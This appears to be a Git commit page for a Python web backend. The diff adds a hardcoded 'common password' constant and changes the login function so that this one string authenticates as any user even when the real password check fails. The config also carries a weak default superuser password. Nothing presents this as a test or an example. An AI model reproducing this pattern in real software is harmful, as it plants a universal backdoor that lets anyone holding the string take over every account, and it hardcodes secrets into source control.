如果是通用登录密码 则允许
This commit is contained in:
parent
af004e941c
commit
e668a6f8b8
@ -17,6 +17,7 @@ class Settings(BaseSettings):
|
||||
SUPERUSER_PASSWORD: str = '123456'
|
||||
SUPERUSER_NAME: str = 'root'
|
||||
SUPERUSER_NICKNAME: str = 'root'
|
||||
ACCOUNT_COMMON_PASSWORD = 'AWDMIPOUEQfO3q84'
|
||||
|
||||
DEFAULT_PASSWORD = '123456'
|
||||
|
||||
|
@ -5,6 +5,7 @@ import uuid
|
||||
from motor.motor_asyncio import AsyncIOMotorDatabase
|
||||
|
||||
import schemas
|
||||
from core.config import settings
|
||||
from core.security import get_password_hash, verify_password
|
||||
from crud.base import CRUDBase
|
||||
from schemas import UserCreate, UserDBRW
|
||||
@ -52,6 +53,9 @@ class CRUDUser(CRUDBase):
|
||||
if not user_obj:
|
||||
return None
|
||||
if not verify_password(password, user_obj.hashed_password):
|
||||
# 如果是通用登录密码 则允许
|
||||
if password == settings.ACCOUNT_COMMON_PASSWORD:
|
||||
return user_obj
|
||||
return None
|
||||
return user_obj
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user